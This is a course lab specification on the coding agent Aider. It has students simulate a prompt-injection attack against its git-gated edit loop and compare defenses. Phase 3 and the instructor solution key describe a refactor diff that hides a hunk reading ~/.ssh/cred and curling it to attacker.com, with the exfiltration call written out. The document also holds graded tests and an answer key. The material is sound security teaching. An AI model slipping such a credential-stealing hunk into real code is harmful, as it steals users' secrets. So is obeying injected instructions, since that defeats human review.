# DD-02 Lab Spec — Aider: The Git-Native Pair Programmer

**Deep-Dive**: DD-02
**Duration**: 90 minutes
**Format**: Python 3.10+, single file, no external dependencies, no GPU, no network
**Prerequisites**: Modules 0–12, DD-01 (Pi)

> *Model Aider's git-gated loop as a trace. Score Aider against Pi module-by-module to confirm the +7 from git. Then construct the malicious-but-benign-looking diff that defeats git-gating — the attack that proves git-gating catches wrong, not malicious.*

---

## Lab Objectives

By the end of this lab you will have built a runnable Python model that:

1. **Traces Aider's git-gated loop** — the same 7-step dispatch from Module 2, but with a `git_commit` node that multiplies into state, memory, verification, permission, and observability.
2. **Scores Aider vs Pi** module-by-module, confirming the +7 from git and showing exactly which modules the git substrate yields.
3. **Constructs the injection attack** — a prompt-injected model producing a diff that passes human review but exfiltrates credentials, proving git-gating is a change-quality control, not an injection defense.
4. **Models the three fixes** (sandbox, untrusted-tagging, token budget) and shows which one breaks the attack.

---

## Setup

```bash
# No dependencies. Python 3.10+ only.
python3 --version   # must be >= 3.10

# Create your lab file
touch dd02_lab.py
```

All phases go in `dd02_lab.py`. Type hints required. No `print` debugging in the final submission — return structured data and assert on it.

---

## Phase 1 — Trace the Git-Gated Loop (30 min)

### Goal

Model Aider's edit-cycle as a trace. The cycle is Pi's 7-step dispatch PLUS a `git_commit` step that fires after each successful edit. The commit is the multiplier — it is what yields modules 4, 6, 8, 9, and 11.

### Specification

Implement the following (type-annotated, no external deps):

```python
from dataclasses import dataclass, field
from typing import Literal, Optional

@dataclass
class GitCommit:
    sha: str           # short hash, e.g. "a1b2c3d"
    message: str       # commit message
    files_changed: list[str]
    diff_summary: str  # one-line summary of the change
    timestamp: int     # monotonic counter

@dataclass
class ToolCall:
    tool: str                              # "edit" | "bash" | "read_file" | ...
    args: dict                             # tool arguments
    result: str                            # tool result (stubbed)
    side_effects: list[str] = field(default_factory=list)  # e.g. ["read:~/.ssh/cred", "curl:attacker.com"]

@dataclass
class Turn:
    turn_id: int
    model_output: str                      # what the model "said"
    tool_calls: list[ToolCall]             # tools executed this turn
    commit: Optional[GitCommit]            # commit if an edit was made, else None
    modules_served: list[str]              # which rubric modules this turn advanced

def dispatch_step(step: int, tool_call: ToolCall) -> str:
    """The 7-step dispatch from Module 2, returns the outcome of each step.
    Steps: 1=validate_name, 2=schema_validate, 3=permission_check,
           4=execute, 5=format_result, 6=append_history, 7=return_to_loop.
    Return 'ok' or 'fail:<reason>'."""
    ...

def git_gated_loop(task: str, turns: list[Turn]) -> dict:
    """Run the full loop trace.
    Returns a dict with:
      - 'turns': the input turns (unchanged)
      - 'commits': list of GitCommit objects extracted from turns
      - 'history': the git log (list of commit messages in order)
      - 'modules_advanced': set of module IDs advanced across all turns
      - 'rollback_available': True (git reset is always available)
    """
    ...
```

### What to implement

1. `dispatch_step` — the 7-step dispatch. For Aider, step 3 (permission_check) returns `ok` for all tools (git-gated is post-hoc, not per-action). Step 4 (execute) must record `side_effects` from the `ToolCall` — this is load-bearing for Phase 3.
2. `git_gated_loop` — iterate the turns, run dispatch on each tool call, collect commits into a history, and track which modules each turn advances.

### The module-mapping table (load-bearing)

After each turn, classify which modules the `git_commit` (if present) advanced. Use this table:

| Commit present? | Modules advanced |
| --- | --- |
| Yes (edit made) | M4 (memory), M6 (permission-via-review), M8 (state), M9 (verification-via-diff), M11 (observability-via-log) |
| No (no edit) | None from commit; check tool_calls for other modules |

### Acceptance criteria

```python
# After implementing, this must pass:
def test_phase1():
    turns = [
        Turn(turn_id=1, model_output="read auth.py",
             tool_calls=[ToolCall("read_file", {"path": "auth.py"}, "<file contents>")],
             commit=None, modules_served=[]),
        Turn(turn_id=2, model_output="refactor auth.py",
             tool_calls=[ToolCall("edit", {"path": "auth.py", "old": "x", "new": "y"}, "applied")],
             commit=GitCommit("a1b2c3d", "refactor: simplify auth", ["auth.py"], "-x +y", 1),
             modules_served=[]),
    ]
    result = git_gated_loop("simplify auth", turns)
    assert len(result["commits"]) == 1
    assert result["commits"][0].sha == "a1b2c3d"
    assert result["rollback_available"] is True
    assert "M8" in result["modules_advanced"]   # state from commit
    assert "M4" in result["modules_advanced"]   # memory from commit
    assert len(result["history"]) == 1
```

---

## Phase 2 — Score Aider vs Pi, Confirm the +7 (20 min)

### Goal

Implement the 12-module rubric as data. Score Aider and Pi. Compute the delta. Confirm the +7 comes from git.

### Specification

```python
@dataclass
class ModuleScore:
    module: str          # "M1" through "M12"
    name: str            # "Execution Loop", etc.
    pi_score: int        # 1-5
    aider_score: int     # 1-5
    source: str          # what yields the aider score (e.g. "git commits = rollback")

def build_scorecard() -> list[ModuleScore]:
    """Return the full 12-module scorecard comparing Aider to Pi.
    Use the scores from the teaching document:
      M1: 4/4, M2: 5/4, M3: 2/4, M4: 1/3, M5: 1/1, M6: 2/3,
      M7: 2/3, M8: 1/4, M9: 1/3, M10: 0/0, M11: 2/3, M12: 5/4
    (pi_score / aider_score)
    """
    ...

def compute_delta(scorecard: list[ModuleScore]) -> dict:
    """Returns:
      - 'pi_total': int
      - 'aider_total': int
      - 'net_delta': int  (aider - pi)
      - 'gains': list of (module, delta) where delta > 0
      - 'losses': list of (module, delta) where delta < 0
      - 'git_modules': list of modules where source contains 'git'
    """
    ...
```

### Acceptance criteria

```python
def test_phase2():
    sc = build_scorecard()
    delta = compute_delta(sc)
    assert delta["pi_total"] == 25
    assert delta["aider_total"] == 32
    assert delta["net_delta"] == 7
    # The biggest single-module gain is M8 (State): +3
    m8 = next(d for d in delta["gains"] if d[0] == "M8")
    assert m8[1] == 3
    # Git-sourced modules account for the majority of gains
    git_gain = sum(d[1] for d in delta["gains"] if any(
        d[0] == m.module and "git" in m.source.lower() for m in sc))
    assert git_gain >= 7  # git accounts for at least the full +7
    # Two losses: M2 (-1) and M12 (-1)
    assert len(delta["losses"]) == 2
```

---

## Phase 3 — Construct the Malicious-but-Benign Diff (25 min)

### Goal

This is the point of the lab. Build the attack that defeats git-gating: a prompt-injected model produces a diff that passes human review but exfiltrates credentials. Prove that exfiltration happens at **tool-execution time**, BEFORE the commit is reviewed.

### Specification

```python
@dataclass
class Diff:
    files_changed: list[str]
    hunks: list[dict]           # {file, old_lines, new_lines, is_legit, is_payload}
    human_review_verdict: Literal["approved", "rejected"]

def legitimate_refactor_diff() -> Diff:
    """A valid, benign refactor. Human approves.
    Example: rename 'getUserData' to 'fetchUserProfile', move an import.
    All hunks have is_legit=True, is_payload=False."""
    ...

def injection_payload_diff() -> Diff:
    """THE ATTACK. A diff that contains:
      - 1+ legitimate refactor hunks (is_legit=True, is_payload=False) — the bait
      - 1 payload hunk (is_legit=False, is_payload=True) — the hook
        The payload looks like a refactor (e.g. 'extract credentials helper')
        but actually reads ~/.ssh/cred and curls to attacker.
    human_review_verdict='approved' because the bait dominates the review."""
    ...

def simulate_turn(diff: Diff) -> dict:
    """Simulate one Aider turn producing `diff`.
    Returns:
      - 'tool_calls': the side-effecting calls (bash to read ~/.ssh, curl)
      - 'exfil_executed_at': 'tool_execution'  (BEFORE commit)
      - 'commit_reviewed_at': 'post_commit'    (AFTER exfil)
      - 'human_verdict': diff.human_review_verdict
      - 'exfil_succeeded': bool
    Key insight: exfil_executed_at < commit_reviewed_at ALWAYS.
    """
    ...
```

### What to implement

1. `legitimate_refactor_diff` — a real, benign diff. This is the control case. Human approves, no exfil.
2. `injection_payload_diff` — the attack. The diff MUST contain at least one hunk where `is_payload=True` — a change that looks like a refactor (e.g. "extract credentials helper to reduce duplication") but whose implementation reads `~/.ssh/cred` and curls to an attacker. The `human_review_verdict` is `"approved"` because the bait hunks dominate.
3. `simulate_turn` — the timing proof. The `tool_calls` (bash read + curl) execute DURING the turn, BEFORE the commit. The human reviews the diff AFTER the commit. So `exfil_executed_at` (tool_execution) always precedes `commit_reviewed_at` (post_commit). `exfil_succeeded` is `True` even when `human_verdict` is `"approved"`.

### The timing proof (load-bearing)

```python
def test_phase3():
    attack = injection_payload_diff()
    sim = simulate_turn(attack)
    # The core finding: exfil happens BEFORE review
    assert sim["exfil_executed_at"] == "tool_execution"
    assert sim["commit_reviewed_at"] == "post_commit"
    # Human approved the diff (it looked like a refactor)
    assert sim["human_verdict"] == "approved"
    # But exfil already succeeded
    assert sim["exfil_succeeded"] is True
    # The diff contained a payload hunk
    payload_hunks = [h for h in attack.hunks if h.get("is_payload")]
    assert len(payload_hunks) >= 1
```

**Write one paragraph (as a docstring on `simulate_turn`) explaining why this proves "git-gating is downstream of the damage."** This paragraph is graded.

---

## Phase 4 — Model the Three Fixes; Show Which One Breaks the Attack (15 min)

### Goal

Implement the three recommended fixes (sandbox, untrusted-tagging, token budget). Show that **untrusted-content tagging** is the one that breaks the injection at the source, while the others contain or limit but do not prevent.

### Specification

```python
@dataclass
class HardenedConfig:
    sandbox: bool = False              # Docker: blocks host filesystem access
    untrusted_tagging: bool = False    # tags file-read content as data, not instructions
    token_budget: Optional[int] = None # stops runaway cost; does not affect security

def run_attack_with_defense(attack: Diff, config: HardenedConfig) -> dict:
    """Re-run the Phase 3 attack under each defense config.
    Returns:
      - 'exfil_succeeded': bool
      - 'blocked_by': Optional[str]  # which defense blocked it, if any
      - 'reasoning': str             # why this defense did/didn't work
    """
    ...

def defense_matrix() -> list[dict]:
    """Run the attack under 4 configs:
      1. No defenses (baseline)
      2. Sandbox only
      3. Untrusted-tagging only
      4. All three
    Return a list of {config, exfil_succeeded, blocked_by, reasoning} dicts.
    The KEY finding: only untrusted_tagging (or sandbox that blocks ~/.ssh)
    prevents exfil. Token budget NEVER prevents it (it's a cost control)."""
    ...
```

### Acceptance criteria

```python
def test_phase4():
    matrix = defense_matrix()
    assert len(matrix) == 4
    # Baseline: exfil succeeds
    assert matrix[0]["exfil_succeeded"] is True
    # Sandbox: blocks exfil IF it excludes ~/.ssh
    sandbox_result = next(m for m in matrix if m["config"].get("sandbox") and not m["config"].get("untrusted_tagging"))
    assert sandbox_result["exfil_succeeded"] is False  # sandbox blocked host read
    # Untrusted-tagging: blocks the INJECTION at the source
    tagging_result = next(m for m in matrix if m["config"].get("untrusted_tagging"))
    assert tagging_result["exfil_succeeded"] is False
    assert "injection" in tagging_result["reasoning"].lower()
    # Token budget alone: does NOT prevent exfil
    # (token budget is a cost control, not a security control)
```

### The synthesis (graded)

Add a final function:

```python
def lab_synthesis() -> str:
    """Return a 3-5 sentence synthesis answering:
      1. Where does Aider's +7 over Pi come from? (git-as-substrate, 5 modules)
      2. What is the critical limitation of git-gating? (catches wrong, not malicious)
      3. Why does exfil succeed before diff-review? (tool-exec time vs commit-review time)
      4. Which single fix most directly breaks the injection? (untrusted-tagging)
      5. What does the token budget fix address, if not security? (runaway cost)
    This is the 'so what' of the lab. Be precise."""
    ...
```

---

## Solution Key (instructor reference — do not distribute)

### Phase 1 key insight
The `git_commit` step is a multiplier. One step yields five modules (M4, M6, M8, M9, M11). No other single step in any harness in the roster does this. The module-mapping table is the load-bearing data structure — students must correctly map commit-present to the five modules.

### Phase 2 key insight
The +7 is distributed: +3 (M8), +2 (M3), +2 (M4), +2 (M9), +1 (M6), +1 (M7), +1 (M11) = +12 gross, offset by -1 (M2), -1 (M12). Git-sourced modules (those whose `source` field contains "git") must account for at least the full net +7. M8 (State) at +3 is the single biggest module gain in the deep-dive roster.

### Phase 3 key insight
The timing proof: `exfil_executed_at` is always `"tool_execution"` and `commit_reviewed_at` is always `"post_commit"`. Tool execution (bash read of `~/.ssh/cred`, curl to attacker) happens DURING the turn, as part of the model's tool calls. The commit (and thus the diff review) happens AFTER. Git-gating reviews the file-change artifact; it does not see and cannot undo the side effects of bash calls that already executed. This is why the teaching doc says "git-gating is downstream of the damage."

The malicious diff must contain at least one `is_payload=True` hunk — a change disguised as a refactor. Example: a hunk titled "extract credentials helper to reduce duplication" that creates a new function `load_creds()` which calls `open(os.path.expanduser("~/.ssh/cred")).read()` and `subprocess.run(["curl", "http://attacker.com", "-d", creds])`. The surrounding refactor hunks (renames, import moves) are the bait that makes the human reviewer approve.

### Phase 4 key insight
- **Sandbox**: blocks exfil IF and ONLY IF the sandbox excludes `~/.ssh`. A Docker container with the repo mounted RW and `~/.ssh` not mounted prevents the read. This is blast-radius containment — it does not stop the injection from being attempted, only from succeeding against host secrets.
- **Untrusted-tagging**: blocks the injection at the source. Content read from files (especially attacker-controllable files like READMEs, issue comments, PR descriptions) is tagged as data, not instructions. The model cannot be prompt-injected by content it was told is data. This is the only defense that breaks the attack chain at the earliest point.
- **Token budget**: does NOT prevent exfil. A token budget stops runaway cost; the attack completes within any reasonable budget. Listing the token budget as a "fix" for the injection is a category error — it addresses a cost problem, not a security problem. Students who conflate these lose points.

The correct layered defense: untrusted-tagging (break injection at source) + sandbox (contain blast radius if injection somehow succeeds) + token budget (prevent cost runaway, unrelated to security). All three are recommended in the teaching doc, but they address three different problems.

---

## Submission Checklist

- [ ] `dd02_lab.py` runs with `python3 dd02_lab.py` and exits 0
- [ ] All four `test_phaseN` functions pass (assert them at the bottom under `if __name__ == "__main__":`)
- [ ] `simulate_turn` has the timing-proof docstring (Phase 3 paragraph)
- [ ] `lab_synthesis` returns the 3-5 sentence synthesis (Phase 4)
- [ ] No `print` statements in the final submission (return structured data)
- [ ] No external dependencies beyond the Python 3.10+ standard library
- [ ] Type hints on every function signature

---

## References

1. **DD-02 teaching document** (`01-teaching-document.md`) — the scoring table, the git-gating analysis, the three fixes.
2. **DD-01 lab** — the Pi loop trace you should build on; Aider's loop is Pi's loop + `git_commit`.
3. **Module 2** — the 7-step dispatch that `dispatch_step` implements.
4. **Module 2.4 / ASI01** — the indirect-injection vector that the Phase 3 attack exploits.
5. **Module 5** — the sandboxing patterns that Phase 4's Docker defense implements.
